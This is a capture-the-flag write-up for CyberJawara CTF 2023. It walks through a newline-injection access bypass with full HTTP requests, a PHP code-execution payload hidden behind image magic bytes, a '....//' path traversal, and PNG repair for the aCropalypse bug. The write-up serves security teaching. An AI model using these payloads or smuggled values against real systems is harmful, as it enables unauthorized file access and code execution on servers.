CyberJawara CTF 2023
Web
Wonder Drive
Abusing newline character to append arbitrary filepath to obtain unauhtorized access in a drive sharing webapp
(5 Solves, 850 Points)
The code snippet below posses security risks. The idea is to create additional new entry of an arbitrary path to access_file
if request.method == 'POST':
access_file = f"accounts/{username}/access"
with open(access_file, "a", encoding="ascii") as f:
f.write(f"{data['filepath']}\n")
return redirect(url_for('user_repository_root', username=username))
access_file is a file that controls the path an account can access. If the path to a file exists as an entry in access_file, the corresponding account will be able to access that file. We want to add repository/wonderadmin/flag.txt
to access_file, and we can do so by abusing the newline character.
data['filepath'] = test\nrepository/wonderadmin/flag.txt
when the above payload is executed, it will write repository/wonderadmin/flag.txt
to access_file in a new line.
repository/test
repository/wonderadmin/flag.txt
This will allow our user account to access the flag.
But first thing first, we need to create the following folders and upload the file on our own drive, to make this file path exist
repository/{username}/test%0arepository/wonderadmin/flag.txt
Once we shared the file and accept_share the token, we can access wonderadmin/flag.txt
Common Pitfalls
If you are creating the folder from the webapp in a browser, the newline character %0a
will be URL-encoded to %250a
which will prevent our exploit from working. If you are using Burpsuite, make sure to intercept the request and change %250a
to %0a
Request to create directory
POST /create_directory HTTP/1.1
Host: wonder-drive.ctf.cyberjawara.id
Cookie: _ga=GA1.1.100328777.1701502669; _ga_8YH0DHGR6E=GS1.1.1701502668.1.1.1701502680.0.0.0; session=eyJ1c2VybmFtZSI6ImZnaGZnaGZnaGoifQ.ZWvbhg.uDKAAxoIN8feTpAq0PnU6HzoMIg
Content-Length: 60
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="119", "Not?A_Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://wonder-drive.ctf.cyberjawara.id
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://wonder-drive.ctf.cyberjawara.id/repository/fghfghfghj/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Connection: close
directory_name=test%0arepository%2Fwonderadmin¤t_path=
The directory you just created will not be visitable from the webapp as it will return 404 Not Found when clicked. When uploading flag.txt
, make sure also intercept the request, and replace the directory
query paramter value with test%0arepository/wonderadmin
Request to upload flag.txt
POST /upload?directory=test%0arepository/wonderadmin HTTP/1.1
Host: wonder-drive.ctf.cyberjawara.id
Cookie: _ga=GA1.1.100328777.1701502669; _ga_8YH0DHGR6E=GS1.1.1701502668.1.1.1701502680.0.0.0; session=eyJ1c2VybmFtZSI6ImZnaGZnaGZnaGoifQ.ZWvbhg.uDKAAxoIN8feTpAq0PnU6HzoMIg
Content-Length: 190
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="119", "Not?A_Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://wonder-drive.ctf.cyberjawara.id
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycERDeiyM6pVu0A5A
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://wonder-drive.ctf.cyberjawara.id/repository/fghfghfghj/test%250arepository/wonderadmin
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Connection: close
------WebKitFormBoundarycERDeiyM6pVu0A5A
Content-Disposition: form-data; name="file"; filename="flag.txt"
Content-Type: text/plain
REDACTED
------WebKitFormBoundarycERDeiyM6pVu0A5A--
Lastly, make sure to also intercept the replace the file_path
parameter when sharing the file
Request to share flag.txt
POST /share HTTP/1.1
Host: wonder-drive.ctf.cyberjawara.id
Cookie: _ga=GA1.1.100328777.1701502669; _ga_8YH0DHGR6E=GS1.1.1701502668.1.1.1701502680.0.0.0; session=eyJ1c2VybmFtZSI6ImZnaGZnaGZnaGoifQ.ZWvbhg.uDKAAxoIN8feTpAq0PnU6HzoMIg
Content-Length: 72
Sec-Ch-Ua: "Chromium";v="119", "Not?A_Brand";v="24"
Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: https://wonder-drive.ctf.cyberjawara.id
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://wonder-drive.ctf.cyberjawara.id/repository/fghfghfghj/test%250arepository/wonderadmin/flag.txt
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i
Connection: close
username=fghfghfghj&file_path=test%0arepository%2Fwonderadmin%2Fflag.txt
Use the token obtained from the request above to accept_share
in your account.
You can now access repository/wonderadmin/flag.txt
from your account.
FLAG: CJ2023{wonderful_trick!_zzzzzzzzzzzzzzzzzzzz}
Magic 1
Bypassing file upload checking by using image mime type leading to PHP code execution
(28 Solves, 300 Points)
The webapp returns Error when doing magic.
even for normal image upload, because the imagick cannot access the tmp file due to already being moved to results
folder. However, the file is still uploaded, and can be retrieved from the results
folder.
move_uploaded_file($_FILES['image']['tmp_name'], 'results/original-' . $_FILES['image']['name']);
$resizedImagePath = resizeImage($_FILES['image']);
Our approach is to upload a php file, which we will then retrieve from the results
folder, and it will get executed and return the content of flag.txt
payload for php code execution
<?php
echo file_get_contents('/flag.txt');
Embed the php payload after the image magic bytes to trick the webapp into thinking that the uploaded php file is an image.
Execute the php payload by visiting this url path /results/original-{uploaded-filename}.php
FLAG: CJ2023{4n0th3r_unrestricted_file_upload__}
Static Web
Non-recursive pathname sanitation leading to path traversal
(63 Solves, 300 Points)
Given the following index.js source code:
const http = require('http');
const fs = require('fs');
const path = require('path');
const url = require('url');
const config = require('./config.js')
const server = http.createServer((req, res) => {
if (req.url.startsWith('/static/')) {
const urlPath = req.url.replace(/\.\.\//g, '')
const filePath = path.join(__dirname, urlPath);
fs.readFile(filePath, (err, data) => {
if (err) {
res.writeHead(404);
res.end("Error: File not found");
} else {
res.writeHead(200);
res.end(data);
}
});
} else if (req.url.startsWith('/admin/')) {
const parsedUrl = url.parse(req.url, true);
const queryObject = parsedUrl.query;
if (queryObject.secret == config.secret) {
res.writeHead(200);
res.end(config.flag);
} else {
res.writeHead(403);
res.end('Nope');
}
} else if (req.url == '/') {
fs.readFile('index.html', (err, data) => {
if (err) {
res.writeHead(500);
res.end("Error");
} else {
res.writeHead(200);
res.end(data);
}
});
} else {
res.writeHead(404);
res.end("404: Resource not found");
}
});
server.listen(3000, () => {
console.log("Server running at http://localhost:3000/");
});
Let us first observe the location of the flag, which is inside the config.js
file. The intended way this index.js wants us to access the flag is by entering /admin/
as the URL path, but we are also required to have the config.secret
which we do not know.
Looking closely at this part of the code, which is intended to perform URL sanitization,
const urlPath = req.url.replace(/\.\.\//g, '')
- The regular expression
/\.\.\//g
is designed to find all occurrences of the sequence../
in the URL path. In regular expressions,.
is a special character that matches any character, so it needs to be escaped with a backslash (\
) to represent a literal dot. Thus,\.\.
matches..
. The third/
is also matched literally. - The
g
at the end of the regular expression is a flag that stands for “global”. This means the replace operation is applied to all matches in the string, not just the first one. - The replacement string is
''
, which indicates that every matched instance of../
in the URL is to be replaced with an empty string.
Notice that the string replacement is NOT performed recursively, meaning that ....//
will be come ../
Armed with this exploit, we can now perform path traversal to retrieve the content of config.js which contains the flag.
URL path input:
/static/....//config.js
urlPath after sanitation resulting in path traversel:
/static/../config.js
FLAG: CJ2023{1st_warmup_and_m1c_ch3ck}
Forensic
Apocalypse
CVE-2023-21036 Google Android BitmapExport.java logic error, in which a cropped image can be recovered to its original uncropped state. Recover corrupt PNG files with missing length-byte and CRC.
(12 Solves, 610 Points)
The screenshot is vulnerable to aCropalypse (CVE 2023-21036). However, the two screenshots need to be recovered first. The screenshots have missing length and CRC for IHDR, sRGB, sBIT, eXIf, and IDAT. We can compare the screenshots with an actual cropped screenshot to better understand the missing structure.
The basic idea is to set the length-byte to the right value, and calculate the corresponding CRC. We can use pngcheck
to analyze the CRC and this tool: PCRT (GitHub - sherlly/PCRT: PCRT (PNG Check & Repair Tool), a tool to help check and fix the error in a PNG image.) to automate the fixing process.
- The tip is to temporarily substitute the first IEND-byte with something else when using the tool PCRT, to make sure PCRT performs the length and CRC checking until the end of the file.
- IHRC length is set to
0D
- sRGB length is set to
01
- sBIT length is set to
04
- IDAT length is set to
0020
, except for the IDAT chunk before IEND
Once all the length-byte and CRC-byte are set properly, the corrupted screenshoots are succesfully recovered.
We then proceed to use acropalypse to recover the original screenshot before cropping. Judging from the metadata in the screenshot which has Google Inc. 2016
in it, and also the width pixel of the two screenshots, we suspect that the device used to take the screenshots were Pixel XL, which was released in 2016 with 2560x1440 pixels. For the device option in acropalypse, we use the custom resolution of 2560x1440. The recovered original screenshots are as follow:
FLAG: CJ2023{cb2aa1108f6aebb88c30}